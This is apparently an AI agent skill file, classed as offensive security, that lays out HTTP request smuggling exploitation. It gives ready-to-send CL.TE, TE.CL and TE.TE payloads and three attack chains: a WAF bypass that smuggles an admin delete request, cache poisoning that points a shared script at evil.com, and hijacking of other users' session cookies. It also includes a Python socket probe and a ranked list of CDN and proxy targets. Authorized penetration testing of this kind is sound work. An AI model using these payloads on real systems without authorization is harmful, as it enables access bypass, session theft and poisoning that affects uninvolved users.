http-smuggling · git:20260602.95e27a7 · 2026-06-02 · sha256 e569aac6c30f1aa4
http-smuggling git:20260602.95e27a7A
Immutable. This exact content is served forever at /api/v1/blob/e569aac6c30f1aa4.
---
name: http-smuggling
description: >
HTTP Request Smuggling detection and exploitation. Covers CL.TE, TE.CL, TE.TE
variants, front-end/back-end parsing discrepancies, WAF bypass via smuggling,
and cache poisoning chaining. Uses burpsuite + fetch for timing and differential
response analysis.
metadata:
tags: "http-smuggling,cl-te,te-cl,te-te,request-smuggling,transfer-encoding,waf-bypass"
category: "offensive-security"
---
# HTTP Request Smuggling — Detection & Exploitation
> HTTP Smuggling exploits parsing differences between front-end (proxy/CDN/WAF)
> and back-end servers. A single ambiguous request can poison caches, bypass
> WAF rules, or hijack other users' requests.
## 1. Quick Detection — 3-Variant Test
### CL.TE (Content-Length wins front-end, Transfer-Encoding wins back-end)
```
POST / HTTP/1.1
Host: {target}
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
**Detection**: If backend times out, it's waiting for the "G" chunk → CL.TE confirmed.
### TE.CL (Transfer-Encoding wins front-end, Content-Length wins back-end)
```
POST / HTTP/1.1
Host: {target}
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
Host: {target}
Content-Length: 15
x=1
0
```
**Detection**: NEXT request to the same connection returns 404 or admin page.
### TE.TE (Both use Transfer-Encoding, but parse differently)
```
POST / HTTP/1.1
Host: {target}
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x
5c
GET /admin HTTP/1.1
Host: {target}
0
```
## 2. Attack Chains
### Smuggling → WAF Bypass
```
POST / HTTP/1.1
Host: {target}
Content-Length: 49
Transfer-Encoding: chunked
0
GET /admin/delete?user=admin HTTP/1.1
X-Ignore: X
```
Front-end (WAF) sees: POST / (safe)
Back-end sees: GET /admin/delete?user=admin → executes!
### Smuggling → Cache Poisoning
```
POST / HTTP/1.1
Host: {target}
Content-Length: 70
Transfer-Encoding: chunked
0
GET /static/js/app.js HTTP/1.1
X-Forwarded-Host: evil.com
```
Next user requesting /static/js/app.js gets redirected to evil.com.
### Smuggling → Credential Hijacking
```
POST /login HTTP/1.1
Host: {target}
Content-Length: 80
Transfer-Encoding: chunked
0
GET / HTTP/1.1
X: X
```
NEXT user's request body gets appended to "GET /" → their cookies/session
token appears in the response to the smuggled request.
## 3. Automated Test Matrix
### Step 1: Confirm HTTP/1.1 with Connection Keep-Alive
```
Fetch: GET / HTTP/1.1
Headers:
Connection: keep-alive
Expect: Connection: keep-alive in response
```
### Step 2: Send CL.TE probe (7-second timer)
```
Burp: POST / HTTP/1.1 (use single connection)
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
**Timing check**:
- Response in < 1s: back-end ignored Transfer-Encoding → CL.CL (not vulnerable)
- Response in 5-7s: back-end waiting for next chunk (the "G") → **CL.TE VULNERABLE**
- Immediate error: front-end rejected chunked encoding
### Step 3: Send TE.CL probe
```
Burp: POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /404test HTTP/1.1
Host: {target}
0
```
Then immediately send:
```
GET /anything HTTP/1.1
Host: {target}
```
If response is 404 → TE.CL VULNERABLE (the smuggled GET /404test was processed)
### Step 4: TE.TE obfuscation test
```
POST / HTTP/1.1
Host: {target}
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: identity
Transfer-Encoding : chunked
5c
GET /smuggled HTTP/1.1
Host: {target}
0
```
## 4. Connection Reuse (CRITICAL)
Smuggling REQUIRES connection reuse. Detection method:
```python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{target_host}", 443 if "{target}".startswith("https") else 80))
# Send probe 1
s.send(b"POST / HTTP/1.1\r\nHost: {target_host}\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG")
# Read response 1
r1 = s.recv(4096)
# Send FOLLOW-UP immediately (same TCP connection)
s.send(b"GET / HTTP/1.1\r\nHost: {target_host}\r\n\r\n")
# Read response 2
r2 = s.recv(4096)
# If r2 is NOT the normal homepage, smuggling confirmed
```
## 5. Priority Targets
| Target | Smuggling Likelihood | Why |
|--------|---------------------|-----|
| Cloudflare → origin | High | CF uses different HTTP parser than Apache/Nginx |
| AWS ALB → backend | High | ALB + varied backends = parsing gaps |
| Nginx → uWSGI/gunicorn | Medium | Different chunked encoding handling |
| Varnish → Apache | High | Classic CL.TE vulnerability |
| Any CDN → origin | Medium | Different HTTP stacks |
## 6. Output
```
findings/
└── smuggling/
├── _smuggling_probes.md # All probes sent + responses
├── _smuggling_vulnerable.json # Confirmed vulnerable endpoints
└── _poc/
├── cl_te_poc.py # CL.TE PoC script
└── te_cl_poc.py # TE.CL PoC script
```
## 7. Rules
```
⛔ Only test on authorized targets
⛔ Use single connection — smuggling doesn't work across connections
⛔ Test at off-peak hours — can affect OTHER users' requests
⛔ Clean up cache poison after PoC (send cleanup request)
⛔ NEVER smuggle destructive requests (DELETE, DROP)
```